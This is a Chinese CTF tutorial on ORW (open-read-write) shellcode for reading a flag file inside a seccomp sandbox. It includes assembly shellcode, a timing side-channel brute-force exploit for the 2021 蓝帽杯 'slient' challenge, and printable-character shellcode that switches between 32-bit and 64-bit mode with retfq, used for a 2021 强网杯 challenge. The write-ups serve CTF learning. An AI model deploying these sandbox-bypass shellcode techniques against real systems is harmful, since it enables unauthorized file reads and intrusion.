浅谈 ORW

序章

......

普通 ORW

  1. 32 位
    ; "/home/orw/flag\x00" 保存到栈上
    ; 小端序
    ; 要注意给字符串结尾加上 '\x00'
    push   0x006761
    push   0x6c662f77
    push   0x726f2f65
    push   0x6d6f682f
    ; open("/home/orw/flag", O_RDONLY)
    ; #define O_RDONLY 0 
    mov eax,5       ; open() 系统调用号是 5
    mov ebx,esp ; "/home/orw/flag"
    xor ecx,ecx     ; O_RDONLY = 0
    xor edx,edx
    int 0x80        ; int 80h 会报错
    ; 返回 fd 保存到 eax 中

    ; read(fd, buf, count)
    mov ebx,eax     ; fd
    mov eax,3       ; read() 的系统调用号是 3
    mov ecx,esp     ; buf
    mov edx,0x30    ; count
    int 0x80

    ; write(fd, buf, count)
    mov eax,4       ; write() 的系统调用号是 4
    mov ebx,1       ; fd=1, write到标准输出
    mov ecx,esp     ; buf
    mov edx,0x30    ; count
    int 0x80
  1. 64 位
    (1). 版本一
   ; open("flag", 0)
   0:   68 66 6c 61 67          push   0x67616c66
   5:   6a 02                   push   0x2
   7:   58                      pop    rax
   8:   48 89 e7                mov    rdi,rsp
   b:   48 31 f6                xor    rsi,rsi
   e:   0f 05                   syscall 

   ; read(fd, rsp, 0x20)
  10:   48 89 c7                mov    rdi,rax
  13:   48 31 c0                xor    rax,rax
  16:   48 89 e6                mov    rsi,rsp
  19:   6a 20                   push   0x20
  1b:   5a                      pop    rdx
  1c:   0f 05                   syscall 

   ; write(1, rsp, 0x20)
  1e:   6a 01                   push   0x1
  20:   58                      pop    rax
  21:   6a 01                   push   0x1
  23:   5f                      pop    rdi
  24:   48 89 e6                mov    rsi,rsp
  27:   6a 20                   push   0x20
  29:   5a                      pop    rdx
  2a:   0f 05                   syscall

(2). 版本二

/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

OR 缺 W (例题: 2021-蓝帽杯初赛-slient)

  1. 文件

链接:https://pan.baidu.com/s/1EiiZNv5GgSX5t9d4eSKQcA
提取码:a6gt

  1. 程序分析
blog@blog-virtual-machine:~/Desktop/PWN/slient$ checksec chall
[*] '/home/blog/Desktop/PWN/slient/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
root@blog-virtual-machine:/home/blog/Desktop/PWN/slient# seccomp-tools dump ./chall
Welcome to silent execution-box.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x01 0x00 0x00000000  if (A == read) goto 0007
 0006: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

允许的系统调用只有 readopen

  ......
// 逆向代码片段
  puts("Welcome to silent execution-box.");

  v3 = getpagesize();
  // 利用 mmap 函数在 0x10000 处开辟一个 page 的空间
  v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);

  read(0, &buf, 0x40uLL);

  // 设置沙盒
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  prctl(4, 0LL);
  v8 = seccomp_init(0LL);
  seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);
  seccomp_load(v8);

  // 往 &buf 中读入 0x40 字节数据
  // 然后执行这段数据
  v4 = buf;
  ......
  *(_OWORD *)v9 = v4;
  ((void (__fastcall *)(__int64, __int64, __int64))v9)(0xDEADBEEFLL, 0xDEADBEEFLL, 0xDEADBEEFLL);

  return 0LL;
}
// about mmap (link: https://man7.org/linux/man-pages/man2/mmap.2.html)
// 1. SYNOPSIS
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

/* 2. DESCRIPTION
 mmap() creates a new mapping in the virtual address space of the
       calling process.  The starting address for the new mapping is
       specified in addr.  The length argument specifies the length of
       the mapping (which must be greater than 0).

       If addr is NULL, then the kernel chooses the (page-aligned)
       address at which to create the mapping; this is the most portable
       method of creating a new mapping.  If addr is not NULL, then the
       kernel takes it as a hint about where to place the mapping; on
       Linux, the kernel will pick a nearby page boundary (but always
       above or equal to the value specified by
       /proc/sys/vm/mmap_min_addr) and attempt to create the mapping
       there.  If another mapping already exists there, the kernel picks
       a new address that may or may not depend on the hint.  The
       address of the new mapping is returned as the result of the call.
......
*/

on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr) 可知:Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。
可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间。

root@blog-virtual-machine:/home/blog/Desktop/PWN/slient# cat /proc/sys/vm/mmap_min_addr
65536
  1. 思路
    既然不能 write,便只能用 open 函数打开 flag 文件后将其中保存的 flag 用 read 函数读取出来,再逐字节遍历,与所有的打印字符用 cmp 进行比较,一个一个字节地爆破出来。详见 EXP。
  2. EXP
    注:在本地运行时需要自备 flag。
from pwn import *
import time

context(arch = "amd64", os = "linux")#, log_level = "debug")

# 判断第 index 个字符是否是 ch
def pwn(p, index, ch):
    # 运行时需要去掉 shellcode 中的注释
    shellcode = """
    ; open(0x10039, 0)
    ; 0x10039 这个地址存放文件名
    ; fd 存放在 rax
    push 0x10039
    pop rdi
    xor esi, esi
    push 2
    pop rax
    syscall
    
    ; read(fd, 0x10040, 0x50)
    mov rdi, rax
    xor eax, eax
    push 0x50
    pop rdx
    push 0x10040
    pop rsi
    syscall
    
    ; 此时 rsi 存放的即为保存 flag 的地址
    ; 检查 flag[index] 是否等于 ch
    ; 若相等便卡在这个循环里面
    loop:
    cmp byte ptr[rsi+{0}], {1}
    jz loop
    ret
    """.format(index, ch)

    # 在这里写入文件名
    payload = asm(shellcode).ljust(0x40-7, 'a') + './flag\x00'
    p.sendafter("Welcome to silent execution-box.\n", payload)
    
flag = ""
index = 0
last = 'a'
while True:
    # 逐字符爆破
    update = False
    # 对于每个字符,遍历所有打印字符 (ascii 码从 32 到 127) 
    for ch in range(32,127):
        sh = process("./chall")
        # 远程比较容易断,可以多次连接
        '''
        for i in range(10):
            try:
                sh = remote("1.1.1.1", "11111")
                break
            except:
                sleep(3)
                continue
        '''
        pwn(sh, index, ch)
        start = time.time()
        try:
            sh.recv(timeout=2)
        except:
            pass
        end = time.time()
        sh.close()
        # 测试接收时延,超过一定时限则说明在 pwn() 函数中插入 shellcode 后卡循环了,即 flag 中的第 index 个字符是 ch
        if(end-start > 1.5):
            flag += chr(ch)
            last = chr(ch)
            update = True
            print("[ flag + 1 !!! ] " + flag)
            break
    
    assert(update == True)
    
    if(last == '}'):
        break
    
    index += 1

print("flag: " + flag)
  1. 结果
.......
[+] Starting local process './chall': pid 74827
[*] Process './chall' stopped with exit code -31 (SIGSYS) (pid 74827)
[+] Starting local process './chall': pid 74834
[*] Process './chall' stopped with exit code -31 (SIGSYS) (pid 74834)
[+] Starting local process './chall': pid 74841
[*] Process './chall' stopped with exit code -31 (SIGSYS) (pid 74841)
[+] Starting local process './chall': pid 74848
[*] Process './chall' stopped with exit code -31 (SIGSYS) (pid 74848)
[+] Starting local process './chall': pid 74855
[*] Stopped process './chall' (pid 74855)
[ flag + 1 !!! ] flag{k33p_qu14t!}
flag: flag{k33p_qu14t!}

RW 缺 O

参考资料:shellcode 的艺术
详情请看文章中的 “六、禁用了system和open,还限制了shellcode字符”,里面用 ex 师傅的一道题目为例。
在 ex 师傅的这道题中,程序是 64 位的,禁用了 open 函数,但是允许调用 fstat 函数(该函数的 64 位系统调用号为 5,这个是 open 函数的 32 位系统调用号)。因此,这道题的基本思路就是利用 retfq 汇编指令进行 32 位和 64 位系统格式之间的切换,在 32 位格式下执行 open 函数打开 flag 文件,在 64 位格式下执行输入输出。
而且,由于这道题限制输入的 shellcode 必须是可打印字符,在写 shellcode 的时候还需要使用一些技巧,基本思路就是:对于一些(对应的字节码是不可打印字符)的汇编指令,利用可打印字符之间的算术操作(主要是异或)来获取。具体可以参考文章中的 “三、限制字符”。
下面是文章中的代码,自己加了一点注释:

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./shellcode')
# p = remote("nc.eonew.cn","10011")
p.recvuntil("shellcode: ")

append_x86 = '''
push ebx
pop ebx
'''
append = '''
/* 机器码: 52 5a */
push rdx
pop rdx
'''

shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140

/* s = "flag" */
push 0x67616c66

/* ebx = &s */
push esp
pop ebx

/* ecx = 0 */
xor ecx,ecx

mov eax,5
int 0x80

mov ecx,eax
'''

shellcode_flag = '''
/* retfq:  mode_32 -> mode_64*/
push 0x33
push 0x40404089
retfq

/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag, arch = 'amd64', os = 'linux')
shellcode = ''

# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
/* syscall 的机器码是 0f 05, 都是不可打印字符. */
/* 用异或运算来解决这个问题: 0x0f = 0x5d^0x52, 0x05 = 0x5f^0x5a. */
/* 其中 0x52,0x5a 由 append 提供. */
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/

push 0x40404040 /*set rsi*/
pop rsi

push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40 /*set rdx*/
push 0x70
pop rdx

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl

push rdx /*set rax*/
pop rax
xor al,0x70
'''

shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

# mmap
shellcode += shellcode_mmap
shellcode += append

# read shellcode
shellcode += shellcode_read
shellcode += append

# mode_64 -> mode_32
shellcode += shellcode_retfq
shellcode += append

shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print hex(len(shellcode))

#gdb.attach(p,"b *0x40027f\nb*0x4002eb\nc\nc\nsi\n")
p.sendline(shellcode)
pause()

p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
p.interactive()

R 缺 OW (例题: 2021-强网杯-初赛-shellcode)

这道题其实就是 "R 缺 OW",上面两种情况的融合怪。

  1. 文件

链接:https://pan.baidu.com/s/1ESSSPWNVVF48lpJdi7rc1A
提取码:pidw

  1. exp
#coding:utf-8
from pwn import *
import time

# context.log_level = 'debug'

append_x86 = '''
push ebx
pop ebx
'''
append = '''
push rdx
pop rdx
'''

shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140

/* s = "flag" */
push 0x67616c66

/* ebx = &s */
push esp
pop ebx

/* ecx = 0 */
xor ecx,ecx

mov eax,5
int 0x80

mov ecx,eax
'''
shellcode_x86 = asm(shellcode_x86)

shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/

push 0x40404040 /*set rsi*/
pop rsi

push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40 /*set rdx*/
push 0x70
pop rdx

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl

push rdx /*set rax*/
pop rax
xor al,0x70
'''

shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

def pwn(p, index, ch):
    shellcode = ''

    # mmap
    shellcode += shellcode_mmap
    shellcode += append

    # read shellcode
    shellcode += shellcode_read
    shellcode += append

    # mode_64 -> mode_32
    shellcode += shellcode_retfq
    shellcode += append

    shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
    #print hex(len(shellcode))

    p.sendline(shellcode)
    time.sleep(0.05)

    shellcode_flag ="""
    push 0x33
    push 0x40404089
    retfq
    
    /*read(fp,buf,0x70)*/
    mov rdi,rcx
    mov rsi,rsp
    mov rdx,0x70
    xor rax,rax
    syscall

    loop:
    cmp byte ptr[rsi+{0}], {1}
    jz loop
    ret
    """.format(index, ch)
    shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')

    p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)

flag = ""
index = 0
last = 'a'
while True:
    update = False
    for ch in range(32,127):
        sh = process("./shellcode")
        pwn(sh, index, ch)
        start = time.time()
        try:
            sh.recv(timeout=2)
        except:
            pass
        end = time.time()
        sh.close()
        if(end-start > 1.5):
            flag += chr(ch)
            last = chr(ch)
            update = True
            print("[ flag + 1 !!! ] " + flag)
            break
    
    assert(update == True)
    
    if(last == '}'):
        break
    
    index += 1

print("flag: " + flag)
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 引子 多年以后,在回顾当年的案情时,胡凯仍旧无法抹平心中的波动。 “人的一生像一条线段。”胡凯徐徐吐出空中...
    阿折阅读 5,527评论 0 13
  • 今天青石的票圈出镜率最高的,莫过于张艺谋的新片终于定档了。 一张满溢着水墨风的海报一次次的出现在票圈里,也就是老谋...
    青石电影阅读 10,905评论 1 2
  • 一、jQuery简介 JQ是JS的一个优秀的库,大型开发必备。在此,我想说的是,JQ里面很多函数使用和JS类似,所...
    Welkin_qing阅读 12,880评论 1 6
  • 跑马灯在项目了其实应用的还比较多,特别是做多媒体的时候,音乐视频蓝牙等等经常用到。 比如音乐的专辑信息,蓝牙通话记...
    江南皮皮阅读 5,080评论 1 6
  • “我”来到飞岛后,发现拉普塔人的外貌,服装都十分奇怪,让人惊讶。当地人很容易陷入沉思,自己说不出话,也听不见别人说...
    天下滑板阅读 769评论 1 1

友情链接更多精彩内容